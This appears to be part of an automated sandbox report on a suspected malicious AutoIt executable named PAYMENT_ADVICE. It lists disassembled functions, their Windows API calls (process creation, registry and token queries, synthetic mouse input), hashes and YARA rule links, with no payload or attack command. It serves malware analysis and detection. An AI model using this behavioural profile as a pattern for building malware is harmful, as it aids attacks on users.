                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: __wcsnicmp
                                                              • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                              • API String ID: 1038674560-2734436370
                                                              • Opcode ID: c040d28cb19396480e0437e27c3496e69ac2a958f01f0208778e289c9027b40a
                                                              • Instruction ID: 68450bdf58f6b946a74bd6241e21dd4626de650702a56184147160c3e3eff4d0
                                                              • Opcode Fuzzy Hash: c040d28cb19396480e0437e27c3496e69ac2a958f01f0208778e289c9027b40a
                                                              • Instruction Fuzzy Hash: 4F2149722046116EDB23AA34AC03EB773DCDF56390F15843AF845CB191EB61ED41C295
                                                              Function 003C75CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00341D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00341D73
                                                                • Part of subcall function 00341D35: GetStockObject.GDI32(00000011), ref: 00341D87
                                                                • Part of subcall function 00341D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00341D91
                                                              • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 003C7632
                                                              • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 003C763F
                                                              • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 003C764A
                                                              • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 003C7659
                                                              • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 003C7665
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CreateObjectStockWindow
                                                              • String ID: Msctls_Progress32
                                                              • API String ID: 1025951953-3636473452
                                                              • Opcode ID: 3ee37def9a711f11e0dca229b8fb449013bf33dcae3ebea90ffeecd716896092
                                                              • Instruction ID: 194aca5528048c633491e0b1bd696eebc99a0efcf942370ddd1123b70135d53b
                                                              • Opcode Fuzzy Hash: 3ee37def9a711f11e0dca229b8fb449013bf33dcae3ebea90ffeecd716896092
                                                              • Instruction Fuzzy Hash: 0C1186B215011DBFEF159F64CC85EE77F5DEF08798F114115BA44A6050C672AC21DBA4
                                                              Function 003CB635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003CB644
                                                              • _memset.LIBCMT ref: 003CB653
                                                              • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00406F20,00406F64), ref: 003CB682
                                                              • CloseHandle.KERNEL32 ref: 003CB694
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memset$CloseCreateHandleProcess
                                                              • String ID: o@$do@
                                                              • API String ID: 3277943733-129461833
                                                              • Opcode ID: fde221d828e6c92d3a7aca4eb7efbe09f05a6c650b1cea1cc2ff2dd27acc3380
                                                              • Instruction ID: 58a3d92cd6c2a13b1f5d2fc31f7b4d4533f24bee871a2eb62a7280cd69608c1f
                                                              • Opcode Fuzzy Hash: fde221d828e6c92d3a7aca4eb7efbe09f05a6c650b1cea1cc2ff2dd27acc3380
                                                              • Instruction Fuzzy Hash: C7F0FEB25403067EE2117765BC06FBB7A9DEB09795F028031BA0AF9196DB765C2087AC
                                                              Function 0036406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00363F85), ref: 00364085
                                                              • GetProcAddress.KERNEL32(00000000), ref: 0036408C
                                                              • EncodePointer.KERNEL32(00000000), ref: 00364097
                                                              • DecodePointer.KERNEL32(00363F85), ref: 003640B2
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                              • String ID: RoUninitialize$combase.dll
                                                              • API String ID: 3489934621-2819208100
                                                              • Opcode ID: 4775ddb550a28a425729351f3a9145c9eda64578ba87a1e632f40e390fa2a173
                                                              • Instruction ID: 24402bb8bfb72211142273a4164d60ed17a2848369e37926acaebacdcafcc74e
                                                              • Opcode Fuzzy Hash: 4775ddb550a28a425729351f3a9145c9eda64578ba87a1e632f40e390fa2a173
                                                              • Instruction Fuzzy Hash: A0E09274981200AFEB12AF61EE09B467AAEB718743F154435F111E91A0CFB656048B18
                                                              Function 003A64B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: _memmove$__itow__swprintf
                                                              • String ID:
                                                              • API String ID: 3253778849-0
                                                              • Opcode ID: e6fa6c3742823647a459b21fee980da463657d6070f1658b8c6282de7d0fa316
                                                              • Instruction ID: 8ff70186d5936da298381f278c7f5b673d80cd7ead626fe7162adae50148c43e
                                                              • Opcode Fuzzy Hash: e6fa6c3742823647a459b21fee980da463657d6070f1658b8c6282de7d0fa316
                                                              • Instruction Fuzzy Hash: F061793090065A9BCF17EF64CC82ABF37A9EF4A308F094919F8595F1A2DB35E915CB50
                                                              Function 003C01E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00347DE1: _memmove.LIBCMT ref: 00347E22
                                                                • Part of subcall function 003C0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003BFDAD,?,?), ref: 003C0E31
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003C02BD
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003C02FD
                                                              • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 003C0320
                                                              • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 003C0349
                                                              • RegCloseKey.ADVAPI32(?,?,00000000), ref: 003C038C
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 003C0399
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
                                                              • String ID:
                                                              • API String ID: 4046560759-0
                                                              • Opcode ID: c045586b7cfe71bdc6cbcd322fa97b2b7a2ed5ef4a7a10a74d11fc94e92cebd0
                                                              • Instruction ID: 4c3a56406c8ffe4e0ce27c650e117ecd3d10fe43908f8773367e59fa040e47c7
                                                              • Opcode Fuzzy Hash: c045586b7cfe71bdc6cbcd322fa97b2b7a2ed5ef4a7a10a74d11fc94e92cebd0
                                                              • Instruction Fuzzy Hash: A6513731208240AFC716EF64C885E6FBBE9FF89714F04491DF5958B2A2DB31E905CB52
                                                              Function 003C5799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetMenu.USER32(?), ref: 003C57FB
                                                              • GetMenuItemCount.USER32(00000000), ref: 003C5832
                                                              • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 003C585A
                                                              • GetMenuItemID.USER32(?,?), ref: 003C58C9
                                                              • GetSubMenu.USER32(?,?), ref: 003C58D7
                                                              • PostMessageW.USER32(?,00000111,?,00000000), ref: 003C5928
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Menu$Item$CountMessagePostString
                                                              • String ID:
                                                              • API String ID: 650687236-0
                                                              • Opcode ID: 1fc58e5e9c230585c500c9469c6c0596b1294ab870a8234908c66e3a21a2c7f7
                                                              • Instruction ID: 162d588baeb01828b7600537bc19a63ebe098b80ec58203b7a4d34aae1376ee8
                                                              • Opcode Fuzzy Hash: 1fc58e5e9c230585c500c9469c6c0596b1294ab870a8234908c66e3a21a2c7f7
                                                              • Instruction Fuzzy Hash: 58515B31E00A15AFCF16EF64C845EAEB7B5EF48320F114069E806EB351CB75BE818B90
                                                              Function 0039EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 0039EF06
                                                              • VariantClear.OLEAUT32(00000013), ref: 0039EF78
                                                              • VariantClear.OLEAUT32(00000000), ref: 0039EFD3
                                                              • _memmove.LIBCMT ref: 0039EFFD
                                                              • VariantClear.OLEAUT32(?), ref: 0039F04A
                                                              • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0039F078
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Variant$Clear$ChangeInitType_memmove
                                                              • String ID:
                                                              • API String ID: 1101466143-0
                                                              • Opcode ID: 5756f13310bccf14ddb384477d76ef14b0ac6f08f4553369dec0bbf9a5a166bc
                                                              • Instruction ID: 7a35f5d995c0ac27335a7a58ed45bc80bc81253bbedcc89bbeeded9ccebec2da
                                                              • Opcode Fuzzy Hash: 5756f13310bccf14ddb384477d76ef14b0ac6f08f4553369dec0bbf9a5a166bc
                                                              • Instruction Fuzzy Hash: 465168B5A00209EFCB15DF58C880AAAB7B9FF4C314F15856AE959DB301E735E911CBA0
                                                              Function 003A220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 003A2258
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003A22A3
                                                              • IsMenu.USER32(00000000), ref: 003A22C3
                                                              • CreatePopupMenu.USER32 ref: 003A22F7
                                                              • GetMenuItemCount.USER32(000000FF), ref: 003A2355
                                                              • InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 003A2386
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Menu$Item$CountCreateInfoInsertPopup_memset
                                                              • String ID:
                                                              • API String ID: 3311875123-0
                                                              • Opcode ID: 45cb421193cdce6d9c1f55aa1add518e93c70bd4e16d2736529b73e1cfc21bd9
                                                              • Instruction ID: 7430671c24e8b5ed4fcdad0280fbafc6394564f600de0aaf701ccfd623c790b0
                                                              • Opcode Fuzzy Hash: 45cb421193cdce6d9c1f55aa1add518e93c70bd4e16d2736529b73e1cfc21bd9
                                                              • Instruction Fuzzy Hash: FC51983460020AEFDF26CF68C888BAEBBF9EF47314F154229E851AB2D0D7759904CB51
                                                              Function 00341765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00342612: GetWindowLongW.USER32(?,000000EB), ref: 00342623
                                                              • BeginPaint.USER32(?,?,?,?,?,?), ref: 0034179A
                                                              • GetWindowRect.USER32(?,?), ref: 003417FE
                                                              • ScreenToClient.USER32(?,?), ref: 0034181B
                                                              • SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0034182C
                                                              • EndPaint.USER32(?,?), ref: 00341876
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: PaintWindow$BeginClientLongRectScreenViewport
                                                              • String ID:
                                                              • API String ID: 1827037458-0
                                                              • Opcode ID: 0108e5aeb9e0c21d04e1b79d729c54d245060166f70a1b1179051d267ba3c555
                                                              • Instruction ID: bb344da1bb468e1da3465bca1ce24902c3e2791dbb219fc9d884eaf13d898f7d
                                                              • Opcode Fuzzy Hash: 0108e5aeb9e0c21d04e1b79d729c54d245060166f70a1b1179051d267ba3c555
                                                              • Instruction Fuzzy Hash: EF418F31104A04AFD712DF25C884FAB7BE9EB49724F144669F998DB1A1C730A885DB62
                                                              Function 003CB69E Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ShowWindow.USER32(004057B0,00000000,00FC66A8,?,?,004057B0,?,003CB5A8,?,?), ref: 003CB712
                                                              • EnableWindow.USER32(00000000,00000000), ref: 003CB736
                                                              • ShowWindow.USER32(004057B0,00000000,00FC66A8,?,?,004057B0,?,003CB5A8,?,?), ref: 003CB796
                                                              • ShowWindow.USER32(00000000,00000004,?,003CB5A8,?,?), ref: 003CB7A8
                                                              • EnableWindow.USER32(00000000,00000001), ref: 003CB7CC
                                                              • SendMessageW.USER32(?,0000130C,?,00000000), ref: 003CB7EF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$Show$Enable$MessageSend
                                                              • String ID:
                                                              • API String ID: 642888154-0
                                                              • Opcode ID: 506ce6000701c89baed31d73fc50a075f4a7c9191ae55d615e526f7d2c25c8aa
                                                              • Instruction ID: 50835289e1f23436f68cbe1947e45ed6abf2346f6ec270d4f892dd930ad6c5d0
                                                              • Opcode Fuzzy Hash: 506ce6000701c89baed31d73fc50a075f4a7c9191ae55d615e526f7d2c25c8aa
                                                              • Instruction Fuzzy Hash: BD412834600240AFDB26DF24C49AF94BBA1FF45350F1981A9ED48CF6A2C731AC56CB61
                                                              Function 003B709E Relevance: 9.1, APIs: 6, Instructions: 97COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetForegroundWindow.USER32(?,?,?,?,?,?,003B4E41,?,?,00000000,00000001), ref: 003B70AC
                                                                • Part of subcall function 003B39A0: GetWindowRect.USER32(?,?), ref: 003B39B3
                                                              • GetDesktopWindow.USER32 ref: 003B70D6
                                                              • GetWindowRect.USER32(00000000), ref: 003B70DD
                                                              • mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 003B710F
                                                                • Part of subcall function 003A5244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 003A52BC
                                                              • GetCursorPos.USER32(?), ref: 003B713B
                                                              • mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 003B7199
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_340000_PAYMENT_ADVICE.jbxd
                                                              Similarity
                                                              • API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
                                                              • String ID:
                                                              • API String ID: 4137160315-0
                                                              • Opcode ID: debbdde7eb32d9fae3202d72b51172fd962f3caf6126dccfda8cf355742e85ea
                                                              • Instruction ID: f9b1bc79556e3ad5a63cb950e107a851b169f88f747c8368c6d7cdc51d6481f5
                                                              • Opcode Fuzzy Hash: debbdde7eb32d9fae3202d72b51172fd962f3caf6126dccfda8cf355742e85ea
                                                              • Instruction Fuzzy Hash: B531A172509305AFD721DF14C849F9BB7AAFBC9314F000919F68597191CB70EA09CBA2
                                                              Function 00398879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 003980A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 003980C0
                                                                • Part of subcall function 003980A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 003980CA
                                                                • Part of subcall function 003980A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 003980D9
                                                                • Part of subcall function 003980A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 003980E0
                                                                • Part of subcall function 003980A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 003980F6
                                                              • GetLengthSid.ADVAPI32(?,00000000,0039842F), ref: 003988CA
                                                              • GetProcessHeap.KERNEL32(00000008,00000000), ref: 003988D6
                                                              • HeapAlloc.KERNEL32(00000000), ref: 003988DD
                                                              • CopySid.ADVAPI32(00000000,00000000,?), ref: 003988F6
                                                              • GetProcessHeap.KERNEL32(00000000,00000000,0039842F), ref: 0039890A
                                                              • HeapFree.KERNEL32(00000000), ref: 00398911
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2049791443.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true
                                                              • Associated: 00000000.00000002.2049776119.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049835453.00000000003F4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049872378.00000000003FE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.0000000000415000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2049887522.000000000041D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
